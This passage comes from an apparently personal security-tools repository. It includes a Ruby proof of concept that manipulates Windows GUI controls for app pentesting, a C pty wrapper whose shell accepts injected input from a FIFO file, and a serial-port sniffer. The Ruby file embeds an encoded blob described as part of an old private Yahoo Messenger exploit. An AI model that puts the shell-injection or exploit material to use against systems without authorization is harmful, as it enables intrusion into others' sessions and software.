17 | def __init__(self): 18 | self.index = 0 19 | self.text = ['red', 'white', 'blue', 'green'] 20 | 21 | def get_text(self): 22 | ret = self.text[self.index] 23 | self.index += 1 24 | if self.index > (len(self.text) - 1): 25 | self.index = 0 #reset index back to beginning 26 | return ret 27 | 28 | 29 | class MyServer(HTTPServer): 30 | 31 | """Extended to keep a bit of data around.""" 32 | 33 | def __init__(self, ref, *args): 34 | HTTPServer.__init__(self, *args) 35 | self.ref = ref 36 | 37 | 38 | class MyHandler(BaseHTTPRequestHandler): 39 | def do_GET(self): 40 | self.send_response(200) 41 | self.send_header('Content-type', 'text/html; charset="us-ascii"') 42 | self.end_headers() 43 | f_h = open("./test.html") 44 | fdata = f_h.read() 45 | print "Printing the length: ", len(fdata),"\n", fdata 46 | self.wfile.write(fdata) 47 | 48 | if __name__ == '__main__': 49 | tgen = TextGenerator() 50 | server = MyServer(tgen, ('', 7777), MyHandler) 51 | try: 52 | print 'started httpserver on first available interface port 7777...' 53 | server.serve_forever() 54 | except KeyboardInterrupt: 55 | print 'ok...quitting...' 56 | server.socket.close() 57 | sys.exit(2) 58 | -------------------------------------------------------------------------------- /ruby_windows_gui_automation/README.md: -------------------------------------------------------------------------------- 1 | Make Ruby Control Windows GUI 2 | ===== 3 | 4 | There are some frameworks like Watir out there that can do this, 5 | but if you want a Ruby implementation that uses nothing but Ruby' 6 | foreign function capabilities (the ability to just use a native Windows 7 | DLL), then this is a good example of that. 8 | 9 | This accompanied the talk [GreyHat Ruby](http://dontstuffbeansupyournose.com/2011/04/27/greyhat-ruby-source-boston/) 10 | where there are more things. 11 | -------------------------------------------------------------------------------- /ruby_windows_gui_automation/user32.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | # == User32.rb 3 | # PoC for how to interface with the User32 subsystem on windows 4 | # aka: Control windows and stuff, simulate keyboard/mouse. 5 | # This is particularly useful for app pentesting because you can use this 6 | # to "enable" disabled menus/buttons etc. 7 | # This will demonstrate rudimentary window messaging via the user32 API 8 | # to control Calc.exe 9 | # 10 | # == Author 11 | # Stephen A. Ridley 12 | # stephen@sa7ori.org 13 | # 14 | # == The Details 15 | # 16 | # Use Winspector Pro (a free download) 17 | # to observe messages being sent to your windowobject 18 | # http://www.windows-spy.com/ 19 | # Also use MSDN and the #defines winuser.h to get the numeric 20 | # values of some of the SendMessage message opcodes. EG: 21 | # http://msdn.microsoft.com/en-us/library/ms646280(VS.85).aspx 22 | # I have included a part of some sample C code from an old (now defunct, cuz someone 23 | # burned me) private remote Yahoo messenger exploit I've been sitting on. 24 | # It is in the DATA block. 25 | #-- 26 | # ATTENTION ALL YE HIGH-AND-MIGHTY RUBY STYLE CRITICS: 27 | # Let me put this in the language you love so much: 28 | # if the_code.does_it_work?: You::stfu() end 29 | #++ 30 | # NOTE TO MYSELF 31 | # You cant EnableWindow/SendMessage/SetWindowLong(style) on a button 32 | # object that has a windowhook/proc defined. This is why when you 33 | # "re-enable" a disabled button it still remains unclickable. To make this 34 | # work you need to OpenProcess() and physically modify memory. There might 35 | # also be a way to do this with "SetWindowsHookEx()". I will have to look 36 | # into how does this. 37 | 38 | require 'Win32API' 39 | require 'irb' 40 | require 'optparse' 41 | require 'rdoc/usage' 42 | require 'zlib' 43 | 44 | # From winuser.h 45 | #http://doc.ddart.net/msdn/header/include/winuser.h.html 46 | WM_ENABLE = 0x000A 47 | WM_PAINT = 0x000F 48 | WM_KEYDOWN = 0x0100 49 | WM_KEYUP = 0x0101 50 | WM_CHAR = 0x0102 51 | WM_USER = 0x0400 52 | WM_LBUTTONDOWN = 0x0201 53 | WM_LBUTTONUP = 0x0202 54 | WM_MOUSEACTIVATE = 0x0021 55 | WM_NCPAINT=0x0085 56 | RDW_INVALIDATE = 0x0001 57 | RDW_INTERNALPAINT = 0x0002 58 | GWL_STYLE = -16 59 | WS_DISABLED = 0x08000000 60 | 61 | EnableWindow = Win32API.new("user32", "EnableWindow", 'LL', 'L') 62 | SendMessage = Win32API.new("user32","SendMessage", ['L'] * 4, 'L') 63 | RedrawWindow = Win32API.new("user32","RedrawWindow", ['L'] * 4, 'L') 64 | FindWindowEx = Win32API.new("user32","FindWindowEx", 'LLPP','L') 65 | IsWindowEnabled = Win32API.new("user32","IsWindowEnabled",'L','L') 66 | UpdateWindow = Win32API.new("user32","UpdateWindow",'L','L') 67 | GetWindowLong = Win32API.new("user32", "GetWindowLong", 'LL','L') 68 | SetWindowLong = Win32API.new("user32", "SetWindowLong", 'LLL','L') 69 | 70 | def click_button(sm, button) 71 | sm.call(button, 0x0021, 1, 513) 72 | sm.call(button,0x0201,0,0x000A0021) 73 | sm.call(button,0x202,0,0x000A0021) 74 | end 75 | 76 | # Open our backpack... 77 | # Made with: puts [File::open("winuser_test.cpp.gz").read()].pack('u') 78 | def displayC() 79 | stuff = DATA.read() 80 | thingz = stuff.unpack('u') 81 | gz = Zlib::GzipReader.new(StringIO.new(thingz.join())) #trick to convert string 82 | #to input stream 83 | thing = gz.read() 84 | puts thing 85 | end 86 | 87 | options={} 88 | options[:e] = false 89 | opts = OptionParser.new() 90 | opts.on("-h", "--help", "You're looking at it."){puts opts.to_s;Kernel.exit(0)} 91 | opts.on("-e", "--extract", "Display a C example of user32 interaction."){|blah| options[:e] = true} 92 | opts.parse(ARGV) rescue puts opts.to_s 93 | if options[:e] then 94 | displayC() 95 | Kernel.exit(0) 96 | end 97 | puts "Finding the Start Menu..." 98 | sleep(1) 99 | startbar = FindWindowEx.call(0,0,"Shell_TrayWnd",0) 100 | puts "Finding Start Button..." 101 | start_button = FindWindowEx.call(startbar,0,0,"start") 102 | click_button(SendMessage, start_button) 103 | puts("I cant find what I am looking for there, so I am launching the Calculator.") 104 | sleep(1) 105 | click_button(SendMessage, start_button) 106 | crap = IO.popen('calc.exe') 107 | sleep(2) 108 | puts("Finding Calculator window...") 109 | calculator = FindWindowEx.call(0,0,"SciCalc",0) 110 | #edit_area = FindWindowEx.call(notepad,0,0,"Edit") 111 | #calc_win = FindWindowEx.call(0,0,0,"Calculator") 112 | #= FindWindowEx.call(anchor,0,0,"&Cancel") 113 | #ok = FindWindowEx.call(anchor,0,0,"&OK") 114 | #password = FindWindowEx.call(0,0,0,"&Password:") 115 | #= GetWindowLong.call(GWL_STYLE) 116 | #cancel_style |= WS_DISABLED #If the window style does not have WS_DISABLED, this sets it. 117 | #SetWindowLong.call(cancel, GWL_STYLE, cancel_style) 118 | 119 | #EnableWindow(cancel, 0) #This makes the button unclickable but not greyed out. 120 | #EnableWindow(cancel,1) #This makes the button clickable again, but doesnt change color. 121 | 122 | #ok_style = GetWindowLong.call(ok, GWL_STYLE) 123 | #ok_style &= ~WS_DISABLED #If the window style has WM_DISABLED this unsets this style. 124 | #SetWindowLong.call(ok, GWL_STYLE, ok_style) 125 | one = FindWindowEx.call(calculator, 0,0,"1") 126 | five = FindWindowEx.call(calculator, 0,0,"5") 127 | six = FindWindowEx.call(calculator, 0,0,"6") 128 | eight = FindWindowEx.call(calculator, 0,0,"8") 129 | two = FindWindowEx.call(calculator, 0,0,"2") 130 | times = FindWindowEx.call(calculator, 0,0,"*") 131 | plus = FindWindowEx.call(calculator, 0,0,"+") 132 | equal = FindWindowEx.call(calculator, 0,0,"=") 133 | c = FindWindowEx.call(calculator, 0,0,"C") 134 | ce = FindWindowEx.call(calculator, 0,0,"CE") 135 | 136 | click_button(SendMessage, one) 137 | sleep(1) 138 | click_button(SendMessage, five) 139 | sleep(1) 140 | click_button(SendMessage, six) 141 | sleep(1) 142 | click_button(SendMessage, six) 143 | sleep(1) 144 | click_button(SendMessage, eight) 145 | sleep(1) 146 | click_button(SendMessage, times) 147 | sleep(1) 148 | click_button(SendMessage, two) 149 | sleep(1) 150 | click_button(SendMessage, plus) 151 | sleep(1) 152 | click_button(SendMessage, one) 153 | sleep(1) 154 | click_button(SendMessage, equal) 155 | EnableWindow.call(c, 0) 156 | EnableWindow.call(ce, 0) 157 | puts "Try to click the 'C' or 'CE' buttons..." 158 | sleep(5) 159 | puts "Ok hit to continue.";gets() 160 | EnableWindow.call(c, 1) 161 | EnableWindow.call(ce, 1) 162 | puts "ok you get the idea...quitting." 163 | Kernel.exit(0) 164 | __END__ 165 | M'XL("(`0YTH``W=I;G5S97)?=&5S="YC<'``G5C]4QI)&OY9J_P?WI#*!5P$ 166 | MS6XV=7I)"@$CM0B6C,OMQ90USC1,G\,T.]TCNJG\[_N\W3,PH%Y2ARF=:=[O 167 | MSZ?S4B9!G(6"*MJ$_N2^$55VME\6A__"H52-Z$/Y;"&34"WTQNE<^W.Y<2:5 168 | M-JGP9Q^HV2R>26?W99I`S6:!2>,-UK%,,BU2>\H_+T,QD8F@D7?1:WM$![0Z 169 | MZW6N3WH7(Z]]VNMWZ&!_OT3>^T^7?MW?Y[.=[6;3BZ0F_/.IW>KWCUOMWZBJ 170 | M;NZDRG3\4",3^886@J":)BJE>2H3(Y,IJ85NH%K/0I5P@I`_T"W";0'V5\L%%^E*2J><(1?5T/.A0-$[".O7/6Q>M,XK/_=2? 175 | MU>CKSO969SR\Z%"X\"+8$_9`%"[.701[X1$(3GN#D=<:M+L4]1)M_"00?!Q$ 176 | M?DHC@Y1-/[]Y^_:+)6T-.GW0Y?Q\)"=4?<'*$;2M+1=3\BXNNT=;6_!WH)!I 177 | M4!\>]K2S_W>IY4TLJI;_>0%WCJS@'XDD/(-Z?^HXZS0^N_[4];SNO[TZ 178 | M:?F74).JL[Q6IZJ+22T_>$Y+;B,9::RF92SH/567(:I]$L:9WE?)--?^:=R_ 179 | M7E%P4%;1!O>2Q9TM8Y]S_Z.4#LM<1!>LP[E(\K?J^<6PW1V-KE$%UZTV/];I 180 | MI-4?==<2:B78/D.D*J>V/`_IU3WM[>U]1D'#:FZV+WC]0*_T55*IYZ63QX?Y 181 | MV['2PO%6"VOL%^6X[6Q_XR'PN#3;D8S#56':URA7:XW;L:[U1GNR=^X*SD_/?9)///+=^`@W-Q$P+4\59G?;O?SDH 183 | MRH6I:D<8082/ZQ@TLE')=3QG@X_67Y&:_7M,P=;^_IN#)]D6ZVR+-3;[.7)< 184 | M-D8(BD@,NX#)[B)2+AQ;:WF.=OFZ)&V/KUO>\,P2%P0#?R8* 185 | M@E(,EWU3.JO5B@8O:7I/O_SSX-U;FT'*/Z[>JI6KY,I7KD 187 | M<<#X.!M>CKJMMM?[O>6AHTZ]=K_7'6"C&)UDII677?%7UY_IQ@>D:R$_R-1(P%_+79_&^FC8LU+?+5/.%$ 189 | M-38S09R*TO"P^<>3AB94`9YDK5)_JHJ6E;+4_LS<8"-FODRHRD]^.L4>YZ?= 190 | M73S?N0&!B7KA79[W!B=#E"?2^C4O4BUK5FXQ$YGBXJSE]88#FLMR9ZDLQ6"O 191 | M\]_>&@0\6_JU& 192 | M$&4*L5CP5%E$#T2A#.&']M^I5)(-^7(J+@$&P(-%%,Z&G>T'/U+*`0U&0"#3 193 | ME8\$R%090Z23B"^L-$93S)MW@D41_'X"+J>``0QF&A\:1!-8)U]N`6?G8P4V 194 | M,V(2@>]DP9>YFF=S!^5".9F(%`IOP41JLK/MN!N,64!A1!`E,K#8QD=W`J@P 195 | MS,I5P"C`(>"AW`#G6?YE=1')($+R$3;X5;;8.0T5=2OB^9#]4188*J$34T,! 196 | M8Q,.'4AC'\D\S(4U%K13D8A4!A:"9A9J:N&G;`>?L,8B%`H"TERV1GD^(,AW 197 | M+MI`9(5L"X8E0U36"V-G66QD["?3#(UKV5`^R=0Q&G%OBF"4,08FKN(.#'RN 198 | M%FL06[BSS570("ZXT;#N&I4!)7O#,7H4U09YD4A6WZVEO&&CB6,`8TY9:3(N 199 | M([K!4*;8Y0#OYE"Y7'5&L:%`OF[BKE<;ZH&)53:-RL>]TFO"ZMDQ+('&/AN'7<_\-2,TQ' 201 | MF!<(X9%8VFO)LM2_S-#^@T?+E1ZRU%;2_B* 202 | ML:/L_>+)KNMUBJ)82!/E3<;>W8E4V]L.=UHQAO,2;%I7/ZXTG-B6Q!4#7F]N 203 | M+9HIKF$.OB&TSXU(#WE]09CM]I7T+)&LU79PIGU`ZT9Q9[&ILR-NX6X]^`4\ 204 | MEG$SU5<2>FX4!6HNA:LZ2Z2AAE>V9A/L8)H].+,:*Q_:FSE'C]E+H6T^E]Q4 205 | MQ+Z!Y*(54Z$1 206 | M[!T--<.,&FR[S:TE:.;%Q[-'I+X%'RV$;O,J"=2\]_T/H+7%3^6+Y<;-K4Z# 207 | MRWZ_!-FKE1\0O";=[3>LQM(LK=@1>9R%X<,9-FREI(;!7,[RXKT[MINVY#V0 208 | MEX\6=1K&_:@;E3)[L9DWO'GY\YMW[_9+7A3TN3..I^P. 209 | ME3[-9AEBSSJ2CF$.T'XNCB,HK4(B^3%?=H 211 | MC-MX!Q=QVM#Z;?5:8.)U@C4W][Y0XD=8TLD+6F\HJKZZKQ6@K,`'%D`UGFP+ 212 | M"U57&K>V2B![J:*'&97%+-(N\N+_3'BS.M1QM='65Y5&HX'^X=E5!ME\L>3W 213 | *OP%-YHH+BQ0````` 214 | 215 | -------------------------------------------------------------------------------- /s1cflatline/Makefile: -------------------------------------------------------------------------------- 1 | CC = gcc 2 | CFLAGS = -g #-O -Wall -Werror 3 | TARGET = s1cflatline makes1cfifo 4 | 5 | all: $(TARGET) 6 | 7 | s1cflatline: s1cflatline.o 8 | $(CC) -o s1cflatline s1cflatline.o 9 | 10 | makes1cfifo: makes1cfifo.o 11 | $(CC) -o makes1cfifo makes1cfifo.o 12 | 13 | .c.o: 14 | $(CC) $(CFLAGS) -c $< 15 | 16 | clean: 17 | rm -rf makes1cfifo s1cflatline .s1cflatlinefifo *.o *~ core *.core logs files 18 | 19 | install: 20 | ./makes1cfifo 21 | mkdir logs 22 | mkdir files 23 | @echo "A 'make clean' will wipe your ./logs and ./files, be sure to back them up." 24 | 25 | -------------------------------------------------------------------------------- /s1cflatline/README: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Xipiter/MiscTools/eca7cc86db9975b8ecc5211f2409b2ba9e12c2c5/s1cflatline/README -------------------------------------------------------------------------------- /s1cflatline/makes1cfifo.c: -------------------------------------------------------------------------------- 1 | #include "s1cflatline.h" 2 | 3 | int main () { 4 | unsigned short newmode; 5 | int mk; 6 | newmode = 0666; 7 | mk = mkfifo (FIFOFILE, newmode); 8 | if (mk != 0) { perror("MkFIFO failed"); exit(1);}; 9 | //chmod(FIFOFILE, S_IWOTH); 10 | return 0; 11 | } 12 | -------------------------------------------------------------------------------- /s1cflatline/s1cflatline.c: -------------------------------------------------------------------------------- 1 | /* 2 | S1C Flatline. 3 | Yet another nifty S1C utility. 4 | Miami. Joeboy. Quickstudy. 5 | 6 | Before you lambaste me for how disgusting the code below is, I must remind you that 7 | I CANT CODE!!!!! 8 | sa7ori@tasam.com 2003 9 | */ 10 | 11 | #include "s1cflatline.h" 12 | /*PROTOTYPING*/ //whattacool word. 13 | void done(void); 14 | void fail(void); 15 | void fixtty(void); 16 | void getmaster(void); 17 | void getslave(void); 18 | void doinput(void); 19 | void dooutput(void); 20 | void doshell(const char*); 21 | 22 | char *shell; 23 | FILE *fscript; 24 | int master; 25 | int slave; 26 | int child; 27 | int subchild; 28 | char *fname; 29 | 30 | struct termios tt; 31 | struct winsize win; 32 | int lb; 33 | int l; 34 | #if !defined(SVR4) 35 | #ifndef HAVE_openpty 36 | char line[] = "/dev/ptyXX"; 37 | #endif 38 | #endif /* !SVR4 */ 39 | int aflg; 40 | int uflg; 41 | int lflg; 42 | 43 | int 44 | main(argc, argv) 45 | int argc; 46 | char *argv[]; 47 | { 48 | extern int optind; 49 | unsigned short newmode; 50 | int ch, mk; 51 | void finish(); 52 | char *getenv(); 53 | char *command = NULL; 54 | char *tmp = NULL; 55 | char *logfile = NULL; 56 | while ((ch = getopt(argc, argv, "aul::h?")) != EOF) 57 | switch((char)ch) { 58 | case 'a': 59 | aflg++; 60 | break; 61 | case 'u': 62 | uflg++; 63 | break; 64 | case 'l': 65 | lflg++; 66 | logfile = strtok(optarg, ":"); 67 | break; 68 | case 'h': 69 | case '?': 70 | default: 71 | fprintf(stderr, _("\n*** S1C Flatline ***\nYet another nifty s1c utility...\n")); 72 | fprintf(stderr, _("sa7ori@tasam.com\n")); 73 | fprintf(stderr, _("\nUsage: [-u] [-a] [-l]")); 74 | fprintf(stderr, _("\n\t-u sets uuencode 'smart mode'.")); 75 | fprintf(stderr, _("\n\t-a sets log write mode to APPEND")); 76 | fprintf(stderr, _("\n\t-l turn on logging (default:./logs/s1cflatline.log)\n\n")); 77 | exit(1); 78 | } 79 | argc -= optind; 80 | argv += optind; 81 | if (lflg) { 82 | printf("\nLogging enabled...\n"); fname=LOGFILE; 83 | if ((fscript = fopen(fname, aflg ? "a" : "w")) == NULL) { 84 | perror(fname); 85 | fail(); 86 | } 87 | } else {printf("\nLogging not enabled...'exit' to quit.\n");} 88 | 89 | printf("\t\t\n \"He slotted some ice, connected the"); 90 | printf("\t\t\n construct, and jacked in."); 91 | printf("\t\t\n It was exactly the sensation of"); 92 | printf("\t\t\n someone reading over his shoulder\"\n\n"); 93 | 94 | shell = getenv("SHELL"); 95 | if (shell == NULL) 96 | shell = "/bin/sh"; 97 | getmaster(); 98 | fixtty(); 99 | (void) signal(SIGCHLD, finish); 100 | child = fork(); 101 | if (child < 0) { 102 | perror("fork"); 103 | fail(); 104 | } 105 | if (child == 0) { //if inside the child 106 | subchild = child = fork(); 107 | if (child < 0) { 108 | perror("fork"); 109 | fail(); 110 | } 111 | if (child) 112 | dooutput(); 113 | else 114 | doshell(command); 115 | } 116 | doinput(); 117 | return 0; 118 | } 119 | 120 | void 121 | doinput() 122 | { 123 | int retval, stdinfd, n; 124 | register int cc, stdincc; 125 | char ibuf[BUFSIZ]; 126 | fd_set rfds; 127 | if (lflg) 128 | (void) fclose(fscript); 129 | #ifdef HAVE_openpty 130 | (void) close(slave); 131 | #endif 132 | stdinfd = open(FIFOFILE, O_NONBLOCK); 133 | FD_ZERO(&rfds); 134 | FD_SET(stdinfd, &rfds); 135 | FD_SET(0, &rfds); 136 | n = stdinfd + 1; cc=1; 137 | while (cc > 0) { 138 | FD_ZERO(&rfds); 139 | FD_SET(stdinfd, &rfds); 140 | FD_SET(0, &rfds); 141 | retval = select(n, &rfds, NULL, NULL, 0); 142 | if(FD_ISSET(stdinfd, &rfds)) { 143 | stdincc=read(stdinfd, ibuf, BUFSIZ); 144 | (void) write(master, ibuf, stdincc); 145 | } 146 | if(FD_ISSET(0, &rfds)) { 147 | cc=read(0, ibuf, BUFSIZ); 148 | (void) write(master, ibuf, cc); 149 | } 150 | } 151 | done(); 152 | } 153 | 154 | #include 155 | 156 | void 157 | finish() 158 | { 159 | #if defined(SVR4) 160 | int status; 161 | #else /* !SVR4 */ 162 | union wait status; 163 | #endif /* !SVR4 */ 164 | register int pid; 165 | register int die = 0; 166 | 167 | while ((pid = wait3((int *)&status, WNOHANG, 0)) > 0) 168 | if (pid == child) 169 | die = 1; 170 | if (die){ 171 | done(); 172 | } 173 | } 174 | 175 | struct linebuf { 176 | char str[BUFSIZ + 1]; /* + 1 for an additional NULL character.*/ 177 | int len; 178 | }; 179 | 180 | 181 | void 182 | check_line (const char *line) 183 | { 184 | static int uuencode_mode = 0; 185 | static FILE *uudecode; 186 | chdir("files"); 187 | if (uuencode_mode == 1) { 188 | fprintf(uudecode, "%s", line); 189 | if (strcmp(line, "end\n") == 0) { 190 | pclose(uudecode); 191 | uuencode_mode = 0; 192 | } 193 | } else { 194 | int dummy; char dummy2[BUFSIZ]; 195 | if (sscanf(line, "begin %o %s", &dummy, dummy2) == 2) { 196 | /* 197 | * uuencode line found! 198 | */ 199 | uudecode = popen("uudecode", "w"); 200 | fprintf(uudecode, "%s", line); 201 | uuencode_mode = 1; 202 | } 203 | } 204 | chdir(".."); 205 | } 206 | 207 | void 208 | check_output(const char *str, int len) 209 | { 210 | static struct linebuf lbuf = {"", 0}; 211 | int i; 212 | 213 | for (i = 0; i < len; i++) { 214 | if (lbuf.len < BUFSIZ) { 215 | lbuf.str[lbuf.len] = str[i]; 216 | if (lbuf.str[lbuf.len] == '\r') { 217 | lbuf.str[lbuf.len] = '\n'; 218 | } 219 | lbuf.len++; 220 | if (lbuf.str[lbuf.len - 1] == '\n') { 221 | if (lbuf.len > 1) { /* skip a blank line. */ 222 | lbuf.str[lbuf.len] = '\0'; 223 | check_line(lbuf.str); 224 | } 225 | lbuf.len = 0; 226 | } 227 | } else {/* buffer overflow */ 228 | lbuf.len = 0; 229 | } 230 | } 231 | } 232 | 233 | void 234 | dooutput() 235 | { 236 | int cc; 237 | char obuf[BUFSIZ]; 238 | 239 | setbuf(stdout, NULL); 240 | (void) close(0); 241 | #ifdef HAVE_openpty 242 | (void) close(slave); 243 | #endif 244 | for (;;) { 245 | cc = read(master, obuf, BUFSIZ); 246 | if (cc <= 0) 247 | break; 248 | if (uflg) 249 | check_output(obuf, cc); 250 | (void) write(1, obuf, cc); 251 | if (lflg) 252 | (void) fwrite(obuf, 1, cc, fscript); 253 | } 254 | done(); 255 | } 256 | 257 | void 258 | doshell(const char* command) 259 | { 260 | getslave(); 261 | (void) close(master); 262 | if (lflg) 263 | (void) fclose(fscript); 264 | (void) dup2(slave, 0); 265 | (void) dup2(slave, 1); 266 | (void) dup2(slave, 2); 267 | (void) close(slave); 268 | 269 | if (!command) { 270 | execl(shell, strrchr(shell, '/') + 1, "-i", 0); 271 | } else { 272 | execl(shell, strrchr(shell, '/') + 1, "-c", command, 0); 273 | } 274 | perror(shell); 275 | fail(); 276 | } 277 | 278 | void 279 | fixtty() 280 | { 281 | struct termios rtt; 282 | 283 | rtt = tt; 284 | #if defined(SVR4) 285 | rtt.c_iflag = 0; 286 | rtt.c_lflag &= ~(ISIG|ICANON|XCASE|ECHO|ECHOE|ECHOK|ECHONL); 287 | rtt.c_oflag = OPOST; 288 | rtt.c_cc[VINTR] = CDEL; 289 | rtt.c_cc[VQUIT] = CDEL; 290 | rtt.c_cc[VERASE] = CDEL; 291 | rtt.c_cc[VKILL] = CDEL; 292 | rtt.c_cc[VEOF] = 1; 293 | rtt.c_cc[VEOL] = 0; 294 | #else /* !SVR4 */ 295 | cfmakeraw(&rtt); 296 | rtt.c_lflag &= ~ECHO; 297 | #endif /* !SVR4 */ 298 | (void) tcsetattr(0, TCSAFLUSH, &rtt); 299 | } 300 | 301 | void 302 | fail() 303 | { 304 | 305 | (void) kill(0, SIGTERM); 306 | done(); 307 | } 308 | 309 | void 310 | done() 311 | { 312 | if (subchild) { //if in process above subchild 313 | if (lflg) 314 | (void) fclose(fscript); 315 | (void) close(master); 316 | } else { 317 | (void) tcsetattr(0, TCSAFLUSH, &tt); 318 | printf("\n\t\t\"He disconnected the construct."); 319 | printf("\n\t\t The presence was gone.\"\n\n\n"); 320 | 321 | } 322 | exit(0); 323 | } 324 | 325 | void 326 | getmaster() 327 | { 328 | #if defined(SVR4) 329 | (void) tcgetattr(0, &tt); 330 | (void) ioctl(0, TIOCGWINSZ, (char *)&win); 331 | if ((master = open("/dev/ptmx", O_RDWR)) < 0) { 332 | perror("open(\"/dev/ptmx\", O_RDWR)"); 333 | fail(); 334 | } 335 | #else /* !SVR4 */ 336 | #ifdef HAVE_openpty 337 | (void) tcgetattr(0, &tt); 338 | (void) ioctl(0, TIOCGWINSZ, (char *)&win); 339 | if (openpty(&master, &slave, NULL, &tt, &win) < 0) { 340 | fprintf(stderr, _("openpty failed\n")); 341 | fail(); 342 | } 343 | #else 344 | char *pty, *bank, *cp; 345 | struct stat stb; 346 | 347 | pty = &line[strlen("/dev/ptyp")]; 348 | for (bank = "pqrs"; *bank; bank++) { 349 | line[strlen("/dev/pty")] = *bank; 350 | *pty = '0'; 351 | if (stat(line, &stb) < 0) 352 | break; 353 | for (cp = "0123456789abcdef"; *cp; cp++) { 354 | *pty = *cp; 355 | master = open(line, O_RDWR); 356 | if (master >= 0) { 357 | char *tp = &line[strlen("/dev/")]; 358 | int ok; 359 | 360 | /* verify slave side is usable */ 361 | *tp = 't'; 362 | ok = access(line, R_OK|W_OK) == 0; 363 | *tp = 'p'; 364 | if (ok) { 365 | (void) tcgetattr(0, &tt); 366 | (void) ioctl(0, TIOCGWINSZ, 367 | (char *)&win); 368 | return; 369 | } 370 | (void) close(master); 371 | } 372 | } 373 | } 374 | fprintf(stderr, _("Out of pty's\n")); 375 | fail(); 376 | #endif /* not HAVE_openpty */ 377 | #endif /* !SVR4 */ 378 | } 379 | 380 | void 381 | getslave() 382 | { 383 | #if defined(SVR4) 384 | (void) setsid(); 385 | grantpt( master); 386 | unlockpt(master); 387 | if ((slave = open((const char *)ptsname(master), O_RDWR)) < 0) { 388 | perror("open(fd, O_RDWR)"); 389 | fail(); 390 | } 391 | if (isastream(slave)) { 392 | if (ioctl(slave, I_PUSH, "ptem") < 0) { 393 | perror("ioctl(fd, I_PUSH, ptem)"); 394 | fail(); 395 | } 396 | if (ioctl(slave, I_PUSH, "ldterm") < 0) { 397 | perror("ioctl(fd, I_PUSH, ldterm)"); 398 | fail(); 399 | } 400 | #ifndef _HPUX_SOURCE 401 | if (ioctl(slave, I_PUSH, "ttcompat") < 0) { 402 | perror("ioctl(fd, I_PUSH, ttcompat)"); 403 | fail(); 404 | } 405 | #endif 406 | (void) ioctl(0, TIOCGWINSZ, (char *)&win); 407 | } 408 | #else /* !SVR4 */ 409 | #ifndef HAVE_openpty 410 | line[strlen("/dev/")] = 't'; 411 | slave = open(line, O_RDWR); 412 | if (slave < 0) { 413 | perror(line); 414 | fail(); 415 | } 416 | (void) tcsetattr(slave, TCSAFLUSH, &tt); 417 | (void) ioctl(slave, TIOCSWINSZ, (char *)&win); 418 | #endif 419 | (void) setsid(); 420 | (void) ioctl(slave, TIOCSCTTY, 0); 421 | #endif /* SVR4 */ 422 | } 423 | -------------------------------------------------------------------------------- /s1cflatline/s1cflatline.h: -------------------------------------------------------------------------------- 1 | #ifndef _S1CFLATLINE_H 2 | #define _S1CFLATLINE_H 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | 19 | #if defined(SVR4) 20 | #include 21 | #include 22 | #include 23 | #endif /* SVR4 */ 24 | 25 | #define HAVE_inet_aton 26 | #define HAVE_scsi_h 27 | #define HAVE_kd_h 28 | #define _(FOO) FOO 29 | #ifdef HAVE_openpty 30 | #include 31 | #endif 32 | 33 | #define FIFOFILE ".s1cflatlinefifo" 34 | #define LOGFILE "logs/s1cflatline.log" //these files reside in WORKINGDIR 35 | 36 | 37 | #if defined(SVR4) && !defined(CDEL) 38 | #if defined(_POSIX_VDISABLE) 39 | #define CDEL _POSIX_VDISABLE 40 | #elif defined(CDISABLE) 41 | #define CDEL CDISABLE 42 | #else /* not _POSIX_VISIBLE && not CDISABLE */ 43 | #define CDEL 255 44 | #endif /* not _POSIX_VISIBLE && not CDISABLE */ 45 | #endif /* SVR4 && ! CDEL */ 46 | 47 | #endif /*_S1CFLATLINE_H*/ 48 | -------------------------------------------------------------------------------- /serial_snoop/README.md: -------------------------------------------------------------------------------- 1 | Serial Snoop 2 | ===== 3 | 4 | Using two serial ports, this software acts an inline proxy allowing 5 | you to sniff and edits the data as it passes between the ports. 6 | It actually is an annoying problem to solve multiplexing the IO, 7 | but the notes about how it works and how it's done are all in the source. 8 | 9 | Very useful for sniffing how a device might talk to a peripheral... 10 | -------------------------------------------------------------------------------- /serial_snoop/osx_show_ttys.sh: -------------------------------------------------------------------------------- 1 | #I am using osx-pl2303-0.3.1-10.4-universal.dmg which is the OSX usb-serial 2 | #driver, I believe this is the only reason why the devices get these "PL" names. 3 | ls /dev/ | grep PL | grep tty 4 | -------------------------------------------------------------------------------- /serial_snoop/project_specific/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Xipiter/MiscTools/eca7cc86db9975b8ecc5211f2409b2ba9e12c2c5/serial_snoop/project_specific/__init__.py -------------------------------------------------------------------------------- /serial_snoop/project_specific/crc16.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | from array import array 3 | def crc16(string, value=0): 4 | """ Single-function interface, like gzip module's crc32 5 | """ 6 | for ch in string: 7 | value = table[ord(ch) ^ (value & 0xff)] ^ (value >> 8) 8 | return value 9 | 10 | class CRC16(object): 11 | """ Class interface, like the Python library's cryptographic 12 | hash functions (which CRC's are definitely not.) 13 | """ 14 | def __init__(self, string=''): 15 | self.val = 0 16 | if string: 17 | self.update(string) 18 | def update(self, string): 19 | self.val = crc16(string, self.val) 20 | def checksum(self): 21 | return chr(self.val >> 8) + chr(self.val & 0xff) 22 | def hexchecksum(self): 23 | return '%04x' % self.val 24 | def copy(self): 25 | clone = CRC16() 26 | clone.val = self.val 27 | return clone 28 | # CRC-16 poly: p(x) = x**16 + x**15 + x**2 + 1 29 | # top bit implicit, reflected 30 | poly = 0xa001 31 | table = array('H') 32 | for byte in range(256): 33 | crc = 0 34 | for bit in range(8): 35 | if (byte ^ crc) & 1: 36 | crc = (crc >> 1) ^ poly 37 | else: 38 | crc >>= 1 39 | byte >>= 1 40 | table.append(crc) 41 | crc = CRC16() 42 | crc.update("123456789") 43 | print repr(table) 44 | for i in table: 45 | print hex(i) 46 | print len(table) 47 | assert crc.checksum() == '\xbb\x3d' 48 | 49 | -------------------------------------------------------------------------------- /serial_snoop/serial_snoop.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | __doc2__ = """ 3 | 4 | 5 | """ 6 | 7 | try: 8 | from Tkinter import * 9 | from tkMessageBox import * 10 | from tkFileDialog import askopenfile 11 | except ImportError: 12 | print "Note: 